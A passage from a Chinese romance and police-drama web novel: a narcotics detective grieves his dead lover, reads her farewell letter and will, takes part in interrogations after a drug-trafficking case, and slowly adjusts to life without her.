江凛说他的命是梁然救的,他不能辜负梁然。 可他太想见到梁然了。 他知道活下来才对得起梁然,但是他闭上眼睛的话却能见到梁然。 他想见她。 他想抱到她的身体,听到她的声音。 他的身体很痛。 胃部的手术伤口和背部腰部取玻璃的微创伤口都很痛,他想见到梁然,只要梁然抱一抱他,他就不会痛了。 他无法接受现在的生活。 他不敢回家,不敢回到梁然居住过的房子。他无法接受推开门再也看不到她,他无法去适应没有梁然的生活。 以后还有那么长,他要怎么过? 他想见到梁然,他只想见到她。 江凛认真看着他:“淮宗,我知道你接受不了梁然离开了,但是你面对现实吧。她是因为爱你才去找你,她是一个理智的人,做的决定都是深思熟虑的,你不想知道她给你留了什么吗?” 这一声让沈淮宗睁开眼睛,手指颤动。 江凛身后有个西装革履的男人。 男人叫严津,是梁然的律师。 江凛这趟来就是因为乔思嘉告诉他梁然的律师在找沈淮宗,他才带着律师过来,万幸救下沈淮宗。江凛说,这次救下他的也还是梁然。 “如果不是梁然,我今天也不会过来。你先听听她都给你留了什么吧。”江凛退到了病房门口。 严津推了推眼镜,展开几份房屋赠与书。 “你好,沈先生,我是梁女士的律师,她生前做过财产分配,将她名下的四套房产都赠与你。之前葬礼过后一直没能联络上你,这是赠与书,你看一下。” 在做好决定去找沈宗野时,梁然就已经抱着回不来的心态,做好了一切安排。 她名下的存款、基金、期权全部留给了梁悦,也许是知道沈宗野不会要她的钱,她没有给他留下过钱。她把南城她居住的房子留给了沈宗野,那是他们愉快相处的地方;她把明汇路上那个新家留给了他,把宁城她买下来的那两处房产也留给了他。 她开过的车子留给了他。 还有葡萄的抚养权也是他的。 沈淮宗手指颤抖,左手残疾的大拇指根本握不住这么轻飘飘的纸。 它们仿佛比任何物品都要沉重。 严津又递给他一封信。 “这是梁女士的信,也是给你的。” 沈淮宗瞳孔一震,目光死死落在那封信上。 信封上写:沈淮宗(收) 他接过,手指抑制不住地抖动。 他抬头看着严津:“还有什么吗?” 严津嘴唇微抿,身为律师,他严格保护着客户的隐私。 他说:“没有了。” 严津离开了病房。 沈淮宗看着信封上梁然的字,忽然没有勇气打开。 眼泪顺着鼻梁滚落,信封在他手指的颤抖中被他展开。 第127章 第127章一个人一生只仰望一轮…… “沈宗野 嗨。 不知道要写什么开头,宁城的天气很好,今天是晴天,晚上的风很轻盈,我坐在你和小谢曾经的公寓里给你写下这封信。 当你看到这封信的时候,我应该已经不在了吧。 我想你可能会难过,我知道的,你会难过,但我不想你太痛苦,是我自己做的决定,我没有后悔。 沈宗野,你不要难过了。 这两天我来了宁城,这个房子是一对情侣租住了,我想把它买下来,这里有我想留下来的回忆。真奇怪,明明之前我们不知道各自的身份,都那么讨厌对方,现在想起来我觉得有些好笑呢。 你不在的这三个月时间走得太慢了,跟你说个小秘密,我以前在工作的时候从来不会出错,但是上周我竟然算错了一个公式,好丢人!你不许笑我啊。我真的好想你,沈宗野,我太想你了。 你走的这三个月我每个工作日都会收到你送的那朵粉色玫瑰,每次下班我就在想,今天我下楼的时候会不会看见是你亲自来送这朵玫瑰……但是见不到你也没关系,我照样在工作,照样在过每一天。 我希望你也能像我这样。 照常地过好以后的每一天。 沈宗野,我好像告诉过你,你的身上有一股力量让我沉溺。 我喜欢这股力量。 我的性格太淡了,是你让我知道喜怒哀乐,让我知道动心的感觉。我很感谢你,和你拥有的过程很快乐。 我们是哪一天在一起的呢?我记得是七月的一天吧,一个没有风的晴天。时间好像不是那么久,所以,你应该能放下我的吧。 我和你说过我妈妈是救一个轻生的女孩离开的,我讨厌轻生的人,我想你应该不会成为我讨厌的人。悦悦是我唯一的亲人,我不能陪她长大了,如果你工作之余还有精力,我希望你能保护她平安健康地长大,毕业、结婚,谢谢你。 沈宗野,有点改不过来了,我喜欢叫你这个名字,抱歉,一直没有好好叫过你的真名。 以后你就叫回沈淮宗吧。 不要留念过去。 不要停在从前。 不要难过。 做回沈淮宗,做你喜欢的缉毒事业吧。 沈淮宗,你会记得我多久啊? 忽然好想知道啊。 不知道人死后会不会还有灵魂,如果我还有灵魂的话,我应该会在你看不到我的地方悄悄地来看你。这么一想就算我扮鬼脸吓你的话你也不会害怕诶,那好没意思啊。那我就彻底走了吧,我应该会去有我爸爸妈妈的地方,和他们在一起。如果有轮回的话,希望下辈子你要认出我,好吗? 沈宗野,忘记一个人需要一点时间。 等你把我忘记那天希望你就放下我们短暂的经历吧,去爱你的生活,去爱你身边的人和事情。 沈淮宗,我快乐过了。 去找你时,我没有回头。 所以,你也不要回头了,答应我。 最后悄悄告诉你一个秘密吧。 这个世界其实只有你一个人; 你在,世界就在,我就存在。 你不在,世界就没有了,我也不会再存在了。 沈淮宗, 祝你每次任务归来都是平安。 祝你往后余生都在没有风的晴天。 沈淮宗,再见。 梁然 5月5日于宁城” 这张信纸明明很轻,摊在沈宗野掌中却有千钧的沉。 他无力地埋下了脊梁,被这封信压弯了这一生。 他想和梁然说话,说好多好多的话。他被关在董自新的地盘上三个月,攒了很多的话想和梁然说,那天他怕她没有力气了,不敢对她讲太多的话。 可他想知道她要说什么。 分别这一百多天,她是不是也有好多事情要和他分享?他想听她讲话。 他想听到梁然说她想他,她爱他,她想要他来陪她。 而不是满纸的忘了她。 他怎么可能忘记梁然。 一个人一生只仰望一轮月亮。 沈淮宗忽然想说“我恨你”。 他恨梁然祝福他往后余生都是没有风的晴天。 明明她喜欢有风的时候他来看她。 他恨梁然满纸的放下和忘记。 他恨梁然没有开口对他说过“我爱你”。 他恨她永远留在了25岁,而他还要一个人趟过余生漫长的潮湿。 信纸被泪水打湿了一角,沈淮宗逼回眼泪,小心翼翼把信藏好。他蜷缩着,把信紧紧贴在心脏的位置。 …… 沈淮宗提前出院了。 他还有案子要侦办,这个案子不能就这么结束。 他逮捕了孟曦。 孟曦坐在审讯室里,面对沈淮宗很是惧怕。 沈淮宗穿着执勤蓝色衬衫,已经没有了病中的颓废。他修长挺拔,一身掩饰不住的威压,双臂撑在孟曦审讯桌前时,领带垂落,气势逼人,他的眼眸极深,带着地狱般的压迫。 “为什么绑架梁然?” “我、我说过了,是她、她主动找到我的!”孟曦不敢抬起眼睛。 “哪天开始收到消息绑架她?” “4月十、十九号。” “和谁联络?” “陈总爸爸的手下,一个叫青、青哥的男人。”孟曦还是很害怕。 “都跟踪她去过哪些地方?”沈淮宗字字冰冷。 “她的公司、她的家,还有……”孟曦说,“还有火锅店。” “把她绑架到第二现场还是第一现场?” “没有!”孟曦抬起头,“是她主动找我的,真的是她自己要我去联络他们的!” 孟曦不敢面对沈淮宗的审视。 眼前的男人虽然穿着警官的制服,但是周身气场太过冰冷了,那双深成渊的眼睛也仿佛随时都会把人拆骨。孟曦不敢说梁然流产的事,她不敢招认,连跟踪梁然去过医院她都不敢说。 沈淮宗反复地审讯孟曦,最终是谢帅帅来说孟曦他们当时的确放弃了绑架,何詹说是梁然主动搭乘了孟曦的车。 审讯到这里被其他同事接走,他们担心沈淮宗的情绪造成逼供。 但沈淮宗不想放过伤害梁然的人。 他去了董自新的审讯室里。 董自新完全不配合审讯。 这样的毒枭被抓到几乎都是零口供,他手底下的人也全都是零口供,除了承认杀过人,贩毒的事只字不提,毒品和制毒化学品摆在眼前也嚣张地给出一句“没得招”。 沈淮宗站在董自新面前时,董自新盯着他好一会儿,忽然哈哈大笑。 沈淮宗睨着他:“你笑什么?” “我笑你可怜,哈哈哈死了最心爱的女人,还不知道你女人都为你付出过什么……” 话突然戛然而止,因为沈淮宗意识到梁然还承受过别的,冲到董自新面前揪起他整个人。 同事连忙拦住沈淮宗,狠狠将他扯开。 “你把梁然怎么了?”沈淮宗双眼猩红。 董自新说:“还能怎么了,她这么漂亮,我不得玩玩她。” 沈淮宗狠狠一脚踹在董自新脸上,董自新鼻血直流。 沈淮宗被四个同事连拖带拽拉出了审讯室,被王有为严格教训,记了处分。 “这是审讯室,你还像个人民警察吗?!后续的案子你不要参与了,好好养伤。” 沈淮宗承认错误,说还要参与审讯。 王有为看着他违心的道歉,知道他是恨死了董自新,王有为语气放软:“我知道你不好过,我们谁都恨毒贩,但我们得按规章制度办事,你好好回去养伤吧,枪伤没好你的手臂不想要了?还有手术的伤也没好全,你这副身体是梁然给你的……” 沈淮宗沉默地站在原地。 他没有回家,也没有回梁然的家,住在了宿舍里。 傍晚时,王有为说审讯了董自新,董自新说只是为了刺激他,没有侵犯过梁然。董自新毒瘾发作,苦苦求着警察给他点毒品,他当时的情绪应该不会说假话。陈沥周也可以作证,陈沥周说他问过梁然,梁然没有说过有被董自新侵犯,这一点可以请沈宗野相信。 陈沥周也被关押在审讯室里。 那天的抓捕中他带着化学品冲向傅寒的车,不是为了逃跑,而是利用化学元素引爆了汽车。 傅寒当场被炸身亡。 陈沥周因为跳车及时没有危及生命,受的伤如今也好得差不多了。 他很配合审讯,招供是他在宁城制作了轻松二号,由郑贵和李建安两名吸毒人员替他贩卖,目的是为了引出轻松一号背后的毒贩。去年四月,李建安被董自新查到,死在了董自新手里头,陈沥周也因此知道了董自新在贩毒。董自新将他骗到境外,用麻醉药物在他无意识的状态下诱导他说出了轻松二号的制毒配方,制作成毒品天使糖。 陈沥周还说出董自新杀害童习贞等恶性,态度良好,很配合警方。 王有为说:“陈沥周想见你。” 沈淮宗走进关押陈沥周的看守所。 陈沥周穿着单薄的囚衣,往昔斯文儒雅的人脊梁佝偻,镜片后的眼睛深深看着沈淮宗。 沈淮宗微抿薄唇,坐到了他对面的铺位。 他们俩无声了好久,四周一片寂静。 陈沥周说:“然然在你怀里走的吗?” 沈淮宗微抿薄唇,他明明是在回答,但发现竟没有声音,他沉重地开口,僵硬的声音从喉咙发出。 陈沥周听着:“她有什么遗愿吗?” 沈淮宗沉默半晌:“她想穿上婚纱。” “那她穿了吗?” “穿了,她穿上婚纱,很美。”一滴泪落进地板,顷刻隐去了痕迹。 “她有提到我吗?”陈沥周沉默很久,这样问。 沈淮宗抬头看着陈沥周:“好好配合案子吧,端了傅寒的园区,你有功。” 陈沥周知道沈淮宗这样回答就是梁然没有提到过他了。 他流下眼泪,对沈淮宗说:“在我们假装订婚那天,她说希望她爱的人以后都有好天气。” 沈淮宗宽阔的肩膀微微颤抖。 他走出看守所,走出办公大楼,一辆辆警车停在院中,墙外蓝天白云,正是一个晴天。 …… 梁然的三七这天,沈淮宗终于回到了她的家里。 从前奶奶说去世的人会在某一个第七天回到她最眷恋的家里,来看她留恋的人。 沈淮宗站在门口,看着豪华宽敞的客厅,看着落地窗外繁华的南城——满眼的空。 他这些天不敢回来,他不知道要以什么姿态面对没有梁然的生活。他站在门外,沉默好久,慢吞吞走进去。 这么宽大的房子没有了女主人,没有了爱闹的猫咪,好像被魔法缚住,隔离在了城市之外。 他站了好一会儿,不知道要做什么。 快到下午了,应该要先吃饭吧。 沈淮宗去楼下的超市买了食材,这家超市的东西梁然喜欢,季阿姨常来这里买。他买好了菜,经过了顾欣的糖水铺,店铺已经转租,新的招牌是一家法式烘焙店。沈淮宗看了眼,沉默地走回家。 他做了梁然爱吃的菜,煎了两份牛排。他盛好了两碗饭,放到餐桌的面对。哦,忘了倒酒了。 他去酒柜里找出一支龙舌兰,倒了梁然喜欢的蓝莓汁进去,捣了一颗青柠。 沈淮宗回到餐桌上,把牛排切好放到对面。 “梁然,你应该在的吧?” 沈淮宗碰了梁然的杯子,酒液轻轻晃动,一层蓝紫缠绕在清透的酒液里。他偏过头,看到玻璃窗上他的脸,看到梁然漂亮的身影。 他猛地回身,客厅依旧只是一片空荡。 沈淮宗紧紧盯着落地窗,锃亮的玻璃上只有他自己的身影。 他嗓音有些嘶哑:“然然,你来了是吗?” “我知道你来了,我不会听你的话,我不会忘记你,我不会好好地过,我要你留在这里,每天都在我身边,不许走。” “你听到了吗?梁然,你不许走。” 沈淮宗咽下这顿晚饭,喝完梁然那杯酒。 夜黑了,一轮弯月升在落地窗外。 沈淮宗不知道要怎么度过黑夜,他把所有房间的灯都打开,整个家明亮的光刺痛眼睛。 他在卧室坐了会儿,满屋的香气,那股兰香寂雪的香味是梁然身上的味道。 他走到衣帽间里,拉开衣橱。 满目的蓝色。 浅蓝、灰蓝、深蓝……全部都是蓝色。 乔思嘉说梁然每天都穿蓝色,有时候是蓝色的衬衫搭配灰蓝色的短裙,有时候是蓝色的长裙搭配蓝色的西装。她把蓝色穿得清冷又明艳,穿成独一的颜色。 一颗泪从眼角滚落。 沈淮宗把脸埋在裙子里,柔软的面料贴着皮肤,冰凉凉的触觉,他却割舍不开了。 他在衣帽间里站了好久,受不了房子里这股安静,他走到客厅,打开电视机,播放他和梁然没有看完的那部电影。 可他听不进去剧情,觉得吵,起身走进梁然的书房。 晚上十一点了,书房的窗外是城市璀璨的霓虹灯。 办公桌上依旧干净得没有一点灰尘,季阿姨隔三差五会来打扫。 桌上按梁然的习惯放着绘画纸,平板和笔。 他坐到椅子上,抚摸她曾经手指落下的地方,拉开抽屉。 梁然的手机躺在抽屉里。 上面贴着一张便利贴。 “沈宗野,我手机的密码是201879。”【你现在阅读的是魔蝎小说 moxiexs】 【END】 第128章 第128章永远地站在…… 201879。 是他们在一起的第一天。 沈淮宗拿起手机,已经没有电了,他焦急地去找充电器,坐在手机前等着开机,他输入密码,残疾的拇指抑制不住抖动。 梁然的手机桌面是葡萄的照片。 手机上除了绘图软件还有些常用的App。 沈淮宗点开通话记录,一片空白,已经被清空了,短信箱也是。 他打开微信,置顶的第一个号就是他。 梁然给他的备注是「沈宗野第119天」 是他离开她的时间。 她竟然每天都在记录。 对话框里存着梁然没有发出的草稿。 “沈宗野,我的手机里有我们的照片,我在想如果我回不来了这些照片是要删掉还是留给你啊。我想了好久,还是舍不得删除。当我想你时,我会看着照片上的你,想象你拥抱我时身体的温度,我很安心。照片留下来吧,就当成一点回忆。我在想你哪天会忘记我啊?或者放下我。会是你29岁以后吗?三四年也足够放下我了吧,等你放下我那天就把手机里的照片清空吧。沈宗野,沈宗野,沈宗野,我就叫一下你亲亲.jpg” 眼泪滴落到屏幕上。 沈淮宗打开相册,除了梁然工作保存的照片,葡萄的照片,还有他们的合照。 周末的下午她蹲在落地窗前拍葡萄,调成了自拍前置,拍下她和葡萄的照片,照片一角是走过来的他。 沈淮宗长按实况播放。 梁然弯起唇角,睫毛轻轻眨着,桃花眼从镜头里落在身后的他身上,还能听到葡萄喵喵的叫声。 还有他们在雨天的夜晚窝在沙发上,梁然靠在他肩膀上自拍,沈淮宗转过来配合,勾起薄唇,眼眸有些宠溺。梁然歪在他肩膀上扬起红唇,实况记录下了她的笑声。 他往后滑动,还有梁然用了一支口红新色号时打开自拍,沈淮宗冷不防凑过来亲她脸。实况记录下他模糊的人影,播放时这一幕又格外清晰。 还有一段视频。 梁然在做牛排,她穿着蓝色的宽松长裙,挽起灯笼袖,对着镜头笑:“嗨,沈宗野,我都学会煎牛排了。” “等你回来我煎给你吃。” 锅里的油忽然溅了起来,梁然吓得尖叫了一声,连忙关掉火,看向镜头的时候眼里有些娇嗔,仿佛责怪被他看到了笑话。 眼泪顺着鼻梁滚落。 沈淮宗不停放大这段视频,放大梁然的笑,梁然眼里的娇嗔和委屈,放大她被溅到油星的手腕。 “梁然。” “你不守信,你要做给我吃,我没吃到。” 沈淮宗紧紧抓着手机,起身环视这个空荡的家,他冲到每一个角落去找梁然,但是哪里都没有她的身影。 他永远也吃不到梁然煎的牛排了。 他永远也无法冲进这个视频里去抱她去哄她。 呆在这么空荡的房子里,灯光照不亮沈淮宗心脏深处如渊的角落。 这一夜,他反复看着手机里的照片,反复听着梁然的声音,看着她的笑,直到手机发烫掉光了电量,直到白昼来临。 沈淮宗望着空空的枕边,好一会儿坐起身,煮了梁然爱吃的红糖黑米粥,依旧将餐盘里的早餐摆成可爱的样子,放到餐桌对面。 他说:“梁然,我要去上班了。下班回来我想见到你,像昨天那样,你出现一下,一下就好。” 他望着对面空荡的餐椅,牵起薄唇。 …… 一审过后董自新拒不认罪,提起上诉。 这天监狱里的早课结束,犯人有序散去时,人群里忽然爆发出惊恐声,所有犯人四散退开。 董自新倒在地上,捂着鲜血直涌的喉咙。 他被割喉了。 他瞪大眼睛看着一个方向。 那里什么也没有,只有一扇高高的窗,窗外只是远处的群山,连绵起伏,一座高过一座。 董自新当场身亡,他的死因还在侦查中。 除了董自新外,他毒品集团里的部分成员已招供罪行。其中徐川,査帕等人被判处死刑,立即执行。李富琴被判收买被拐妇女罪、毁灭证据罪,鉴于其年龄已满70岁,判处两年有期徒刑,并处没收其毒资财产。其余贩毒成员皆被判处相应刑罚。 陈沥周因在宁城制作轻松二号,构成非法制造毒品罪,影响恶劣,鉴于其不涉及盈利,且在这次案件中立功,认错态度较好,判处有期徒刑十年。 520特大跨国贩毒专案于7月彻底结案。 侦办这次案件的警员也得到了应有的表彰。 郑云深的尸体被运送回南城,葬进烈士陵园,追封个人二等功。 沈淮宗因在案件中发挥关键作用,且个人拥有极高的专业素养、英勇无畏,被授予个人一等功。 省厅的表彰大会上,台下坐着各局领导和许多警员。 这场跨国案件轰动浩大,公安媒体也在录制采访。无数的掌声响起,闪光灯不停亮起,在主持人念完激昂感人的致词后,请上了这次受封的警官沈淮宗。 今天的沈淮宗穿着英挺的警礼服,肩章的四角星花多了一颗,胸前缀着绶带和他满满的荣誉勋章。 他在掌声下站到表彰台上,他年轻、挺拔、英隽、勇敢,是各局羡慕、想争抢的精英,是台下警员仰视钦佩的风向标。 省厅最高级别的领导给他颁发了这个一等功荣誉。 主持人要他致词,把话筒递给他。 沈淮宗握着奖章和证书,看着胸前的勋章和手上的话筒。 台下一片爆满的掌声,而后是庄严的寂静。窗外的绿树摇曳,阳光无限晴朗,余光里忽然掀起一阵风。沈淮宗偏头望去,窗台上落满阳光,有一片飘飞的落叶停在了窗台砖上。 这段寂静太过漫长,主持人意识到他的走神,专业的话语重述了一遍。 台下又起了热烈的掌声,这些声音忽然像是在这场风里串成了线,划过手上的话筒,变作尖锐的嗡鸣声,刺破了耳膜。 沈淮宗直直栽倒在台上,挺拔的身躯沉沉摔下。 他的身体不断抽搐,双眼深邃空寂,看着无数惊慌的人朝他涌来,看见这枚一等功的勋章,看见风吹过梁然笑着的眼睛。 他睁着眼,看着他的然然。 …… 心理医生说他的身体还是有急性应激障碍。 局里为沈淮宗安排了心理科的治疗,给他放了一个长假复健。 沈淮宗回到梁然的家里,餐桌上的黑米粥没有动过。 他沉默地抿了抿薄唇,看着梁然的椅子:“梁然,我拿到一等功了。” 他完成了沈知培未竟的心愿,也是他继承这个警号以来的心愿,活着拿下一个一等功。 但是。 如果他没有接下这个任务。 如果他没有主动从医院逃开。 如果他听从梁然和陈沥周的计划…… 可是人生好像没有这些如果。 他的事方昭意听说了,从美国回来。 方昭意来到梁然的家里,看到他左手仅剩的两根手指,看到他沉寂得像是深渊的眼睛,无声流下眼泪。 方昭意说:“宝贝,不做警察了吧,跟妈妈去一个新的地方,我们换一份更自在的工作。” 沈淮宗笑了笑:“我还想抓坏人。” 他要把这个社会上的毒贩都抓起来,南城有多少,他就抓多少。毒贩跑出南城,他就跟着毒贩跑。 方昭意看着这个全是梁然影子的家。 梁然的衣服鞋子包包,书籍、作品全都在这个家里。 方昭意没有办法给沈淮宗安慰,就翻开手机照片里小宝贝的视频。 “这是你弟弟,上次电话里你也还没有见过吧。” 那是一个和方昭意的眼睛很像的小婴儿,皮肤白净,眼睛黑亮,非常健康可爱的婴儿。 沈淮宗看着视频里的弟弟笑了笑:“很可爱,等我有机会去纽约看他。” 方昭意点点头:“我们出去吃饭吧。” “好。” 方昭意每天带着沈淮宗出门吃饭,不让他独自沉溺在这个家里,回到家也及时叮嘱他吃药。 她来了半个月,每天都是如此,只是美国的公司和宝宝实在离不开她,她必须要回去了。 “淮宗,跟局里申请一下,和我出国散散心吧。” “我好多了,下次吧。” 方昭意顿了片刻,没再劝沈淮宗,她给黎亚国拨了视频,和沈淮宗一起看着视频里的小宝贝。 沈淮宗很喜欢这个弟弟,四个月大的婴儿很可爱,身上有着新生的希望,望着视频这头的他会咿咿呀呀地笑。沈淮宗弯起薄唇,和方昭意逗着这个小宝贝。 第二天,沈淮宗开车将方昭意送到机场。 方昭意让他照顾好自己:“你想来美国随时都可以告诉我,淮宗,然然也是希望你走出来的。她的微信背景照片像是圣巴巴拉的海滩,你大三那年我带你也去过加利福尼亚,你还记得吗?她说她和留学的同学常去我们的餐厅,也许你们曾经遇见过也说不定。” 沈淮宗沉默不语。 方昭意知道说这些也没有太多意义,只会让原本逝去的美好更加意难平。她本意只是想鼓动沈淮宗换一个地方,多看些风景散散心。 方昭意不再提及这个,笑着问:“早上没注意到你吃没吃药?” “吃了。” “好,要记得按时吃药,按时去心理医生那里复查。” 沈淮宗点点头,将方昭意送进安检口。 回到家,他把桌上的药都扔进了垃圾桶。 他并没有吃这些药物,刚开始那两天服用过,但药物只会让他变得嗜睡,他并不觉得自己病了。 心理医生会询问他和梁然的经历,他就去回忆一遍他们的故事,心理医生很耐心地听完,却安慰他他们相爱的时间并不算长,那些相爱十年的夫妻也都能在几年后走出伤痛,重新开始新的生活,去爱一个新的人。 沈淮宗觉得可笑。 他没病。 他只是后悔死的人不是他。可他又忽然想,如果是他死亡,那梁然的白昼和黑夜该有多难熬呢。 他把家里清理了一遍,开车去了怀城看梁悦。 他想把葡萄接过来。 梁悦已经放了暑假,十六七岁的女生给自己安排了满满的课程。钢琴、绘画、设计、滑冰、舞蹈、围棋……她每天都在不停的忙碌中度过,仿佛一夕之间长成了大人。 沈淮宗到时,梁悦还没有回来,张姨把他迎进门,礼貌地招待他。 葡萄见到他很开心,窝在他膝盖眯起眼睛呼呼大睡。 张姨说自从梁然走后小猫好像知道主人不会再回来了,身体一直很差,情绪也低落,去了好几趟宠物医院。今天是葡萄最欢的一天,它好久没这样精神过了。 沈淮宗微抿薄唇,抚摸猫咪毛绒绒的脑袋。 梁悦在下午时回到家,见到沈淮宗,她依旧没有好脸色,径直上楼下楼,自顾自去花园剪下开败的月季。 沈淮宗找了把剪刀去旁边修剪那些开落的花。 “你别碰。”梁悦冷淡地说。 沈淮宗微顿,停下了动作。 “悦悦,张姨说你报了很多课程,每天没有足够的休息时间,你这样身体会吃不消,你姐姐……” “你有什么资格提我姐?”梁悦瞪住沈淮宗。 沈淮宗沉默下来。 梁悦的声音很冷,他以前觉得梁悦的声音很像梁然,但不是的。在他从医院醒来那天他就清楚了她和梁然的声音一点也不像了。听着梁悦的声音,他能更清晰地记住梁然声音的不同,她们仅仅只是相似。谁都不是梁然。 天要黑了,张姨在叫梁悦和他去吃晚饭。 梁悦起身穿过花园,走进客厅。 她径直吃起晚饭,并没有喊沈淮宗吃饭。 沈淮宗说:“我想把葡萄接走,我最近有很长的假期,想照顾它,你同意的话我就带葡萄走了。” 梁悦什么也没说。 梁然除了给沈淮宗留下信,也给梁悦和乔思嘉留过信。 梁悦知道葡萄是梁然留给沈淮宗的。 她明明很稚嫩,但说出口的话还是结着冰般的冷:“葡萄是我姐的遗物,如果你把她最后的遗物也弄丢了,我这辈子都会恨你。” “不会,我会保护好葡萄。” “那你保护好我姐了吗?她那么爱你,我从来不知道她会这样去爱一个人,她把一切都给了你,她的爱,她的灵感,她的房子,她的猫。”梁悦哭了起来,她终究还是一个年轻的女孩子,不会像从前的梁然那样把所有的恨和痛苦化作无声的清冷,她会哭,会说出她的痛。 “你也许今年还记得她,明年也还记得她,但你后年或者哪一年就会忘了她!你会遇到一个心动的人,你会结婚会生孩子,你住在我姐的房子里,我恨死你了,一想到这些我就觉得我姐不值得,我恨你!” 沈淮宗站在餐厅这团昏黄的光影中,耐心听着梁悦的哭泣,他说:“我不会结婚,也不会喜欢上谁,更不会有孩子。悦悦,我还会做我现在的工作,也许有一天我会死在某一个任务里,到那天我就会见到你姐姐了。” 他笑了下:“你不要哭,也不要担心我会忘了她。” 承诺一向是最无用的东西。 行为胜过一切言语的承诺。 沈淮宗不再去和一个年轻的女生说这些承诺,他没觉得他的余生会很长,缉毒警察的平均寿命只有41岁,也许未来某个任务里,他可能会在危险的隐蔽线上死在暗无天光的日子里。是他的结局。 而那一天可能不是结束,是开始。 他和梁然新的开始。 “你姐姐说希望我代替她看到你平安健康地长大,毕业,结婚。悦悦,希望你快乐一点。” 梁悦没有回应他,沈淮宗说:“我先走了,有事情给我打电话。” 沈淮宗带走了葡萄。 葡萄是一只很懂事的猫咪,临走前它知道梁悦在难过,跳到餐桌上舔了舔梁悦脸颊的泪水,喵呜叫着安慰梁悦。 葡萄回到了梁然的家里,这是它长大的地方。 它爬进熟悉的猫窝,爬到攀岩墙,又跳进梁然的卧室。 卧室里全是梁然身上的味道。 葡萄撞着墙。 沈淮宗走进卧室,猫咪好像是想抓墙上那副画。 那是梁然画的沈淮宗的手,那个暧昧的夜晚他站在这个豪华的房子里,站在露台的夜色中,梁然喜欢他的手,画下了画中指骨修长的双手。 这幅画被梁然装裱起来,挂在了卧室墙上。 墙面太高,葡萄够不到,小爪爪拼命地抓墙,把墙布都抓起毛了,有点沮丧地耷拉下脑袋。 沈淮宗失笑,把猫抱回它那间房。 有了葡萄在,他忙碌的事情似乎变多了起来,心情也仿佛好了很多。 季阿姨如今是兼职过来打扫,她的父亲生病住院,她把老人接到了南城,梁然这里只能做兼职。她笑着说起她走之前葡萄还爱抓金鱼,还听梁然说起葡萄有一回还抓了蟑螂回来,把梁然吓了一跳。 沈淮宗轻轻抿起薄唇,他喜欢听别人说起梁然。 江凛来到他这里,见他的状态似乎已经好起来了。 江凛说:“心理治疗还是有效果的。” “我没病。”沈淮宗说。 他无比清醒,他知道他只是接受不了梁然不在的这个事实。 但是现在,他好像开始接受了。 梁然说“这个世界只有你一个人,你在,世界就在,我就存在”。 只要他存在,梁然就会存在。 她并没有离开,只是换了新的方式。 江凛笑了笑:“枪伤好些了吗?” “好多了。” “手臂恢复到什么程度?” “拎些日常的东西,慢慢恢复吧。”沈淮宗说,“你今天不忙了?” “嗯,今晚我住你这吧。” 沈淮宗点点头:“嘉嘉喜欢吃什么,我给你们做饭,她快下班了吧,她一个人应付公司很忙吧?” “嗯,是挺忙的,梁然以前接的客户都在她手里,也给她留下过几个好作品,她一心都在工作上。”江凛沉默了片刻,“之前一直没告诉你,我和她分手了。” 沈淮宗微怔,抬起眼皮。 因为梁然的离开,乔思嘉打击很大,她从韩国回来那次梁然说想看到她穿婚纱的样子,要和她去拍婚纱照,乔思嘉当时觉得太累了,拒绝了梁然,她到现在都在后悔。 更重要的,是她不知道梁然在宁城和沈淮宗发生的事情,但是江凛知道,而江凛瞒了她。 那个饭局是江凛组的,他什么都知道,梁然也知道,沈淮宗也知道。只有乔思嘉一个人不知道。她后悔答应江凛组局,她后悔没有细心地了解过梁然,她讨厌他们所有人都瞒了她,包括江凛。 她接受不了闺蜜离世她却还在爱情甜蜜。 沈淮宗沉默了半晌:“等她心情恢复了我去找她。” “不用了。”江凛苦笑,“她从来没有这样认真过,我知道她不会再要我了。淮宗,她说除非让然然活过来,她说我们再也回不去了。” 江凛落了泪,背过身擦掉眼泪。 沈淮宗拍了拍他肩膀,沉默地安慰。 …… 生活仿佛恢复到了正常的运转。 沈淮宗不会再害怕一个人的黑夜,他不用把房子里所有灯打开也能睡着。 早起时,他惺忪地睁开眼,怀里抱着梁然的一条睡裙。 梁然的衣服都带着香气,沈淮宗习惯了她的味道。 他如常地起床,将睡裙挂回衣橱。 黑色睡裙有些褶皱,他骨节分明的手指极耐心地抚平这些褶皱。 梁然曾经穿上这条睡裙时,裙子太短,刚刚遮住臀。部,她行走的时候极是诱惑性感。他把她拦腰抱到床上,拽住她两条白皙的腿,她忍俊不禁地笑,那一瞬间她的美貌极具攻击力,挑起红唇迎承他漆黑的眼眸。 沈淮宗把鼻尖埋在裙子里,咬住领口的系带,像从前他们做。爱那样。他喉结轻滚,舔过裙子极薄的面料。他纾解了出来,闻着睡裙上梁然的味道,餍足地弯起薄唇。裙摆弄脏了,他无声笑了笑,喉头低沉的嗓音喊着:“然然。” 他洗完了裙子打算出门去他们的新家看一看。 这些日子他一直没敢踏足这里。 今天,他觉得他已经可以一个人站在这里了。 大门上依旧是他们在除夕前贴的春联。 房子全部装修好,入户的玄关墙上嵌着一幅脚印的水泥画。是那次梁然抱着葡萄和他来新家检查装修进程时不知道地面的水泥还没有干,他们三个都不小心踩在了上面。 沈淮宗觉得这些脚印可爱,事后让装修团队把其中一块嵌到了墙上。 沈淮宗站在这幅画前,望着这三个脚印,他的脚印最大,梁然的脚印挨在他旁边,显得格外小,葡萄的猫爪自带可爱。他弯起薄唇笑了。 他在客厅的落地窗前站了会儿,去主卧里躺了梁然亲自挑的床,床垫是她喜欢的柔软。他拉开主卧的落地窗,在露台吹了会儿风。如果梁然还在的话,她会喜欢坐在这里看夕阳铺洒在远处的湖面上。 他走进书房,梁然设计了整面墙的书柜,柜子里空空的,沈淮宗坐在书房里头,在网上挑选梁然会喜欢看的书,下单到这里的地址。 这些书籍第二天就送到了,他一本一本把整面书柜都填满。 做完这些,沈淮宗觉得他应该走出来了,他一个人完全可以面对这些。 于是他来到了宁城。 他和梁然曾经伪装着、提防着彼此的地方。 …… 他和谢帅帅居住的公寓里依旧还是老样子,一切陈设都维持着原状。 真是奇怪,明明他在卧底期间把她当做一个坏人,对她那么厌恶,为什么现在这些记忆涌进脑海,抓扯着心脏,只觉得愧疚?沈淮宗想,如果那时他早些知道她只是个清白的、勇敢的姑娘,会不会一切都不一样,会不会这个注定会牺牲一个人的死局里,她就不会被他卷进来。 他站了好一会儿,打开对面梁然那套房门。 阳光晴朗的天气,开门涌动的风卷起空气里的尘埃,细小的灰尘在光束里浮动。 入眼是客厅里梁然喜欢的滑滑梯。 他看到了桌子上的观音像。 那尊白瓷观音迎光微笑,慈悲的眉眼普度众生。 观音好像知道他来了,也仿佛等着他的到来。 